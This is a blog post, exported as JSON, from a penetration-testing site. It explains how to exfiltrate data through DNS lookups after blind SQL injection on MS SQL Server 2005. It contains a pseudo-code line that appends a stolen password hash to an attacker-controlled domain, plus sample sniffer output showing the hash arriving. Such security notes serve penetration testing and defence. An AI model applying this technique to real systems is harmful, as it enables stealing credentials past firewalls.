{"id":8,"date":"2007-04-08T18:59:47","date_gmt":"2007-04-08T18:59:47","guid":{"rendered":"http:\/\/pentestmonkey.net\/?p=8"},"modified":"2011-08-20T16:06:15","modified_gmt":"2011-08-20T16:06:15","slug":"mssql-dns","status":"publish","type":"post","link":"https:\/\/pentestmonkey.net\/blog\/mssql-dns","title":{"rendered":"Exfiltrating Data From MS SQL Server Via DNS"},"content":{"rendered":"
Exfiltrating data via Blind SQL Injection<\/a> vulnerabilities can be slow, or the very least undesirably noisy. DNS may provide a faster alternative if the target system is connected to the Internet. Below are some notes I made on exfiltrating data from MS SQL Server 2005.<\/p>\n Since the injection is blind, you don’t have the luxury of getting data out fast with a UNION SELECT, or using MS SQL server error messages.<\/p>\n Depending on your definition of “Blind SQL Injection” you might be able to use differing responses from the app to extract data 1 bit at time by asking “yes or no” questions. In the worst case, you’ll have to use something like WAITFOR DELAY<\/a> or BENCHMARK<\/a> to painstakingly extract data in a bitwise fashion.<\/p>\n Even with the help of automated tools, this process can be slow. Owing to the fact you normally need 1 request for each bit of data you extract, you’ll typically need hundreds or even thousands of queries. Traditional exploitation of blind SQL injection is therefore a very noisy attack.<\/p>\n There may not be any other options open to you, but if you’re lucky there’ll be a shortcut. For example you might be able to:<\/p>\n DNS requests are arguably more likely to be allowed out from the database server to arbitrary hosts on the Internet than any other query. Even if the Firewall is doing its job properly and preventing the database server from sending data directly<\/em>to the internet, a DNS request originating from the server may still be allowed out via an internal DNS server.<\/p>\n Our challenge is simply to embed the result of our SQL query in the DNS request and to capture it when it makes its way onto the Internet.<\/p>\n Conceptually what we’re trying to achieve with our SQL injection is something like the following:<\/p>\n We want to use a SELECT statement to obtain the password hash we’re interested in, append a domain name which we control to the end of it (e.g. pentestmonkey.net). Finally we perform a DNS lookup (address-record lookup for a fictitious hostname). We then run a packet sniffer on the name server for our domain and wait for the DNS record containing our hash.<\/p>\n
\n<\/p>\nPreamble<\/h2>\n
Why Blind SQL Injection can be a Pain<\/h3>\n
Some Potential Alternatives<\/h3>\n
\n
Using DNS to Exfiltrate Data<\/h2>\n
do_dns_lookup( (select top 1 password from users) + '.pentestmonkey.net' );<\/pre>\n
someserver.example.com.1234 > ns.pentestmonkey.net.53 A? 0x1234ABCD.pentestmonkey.net<\/pre>\n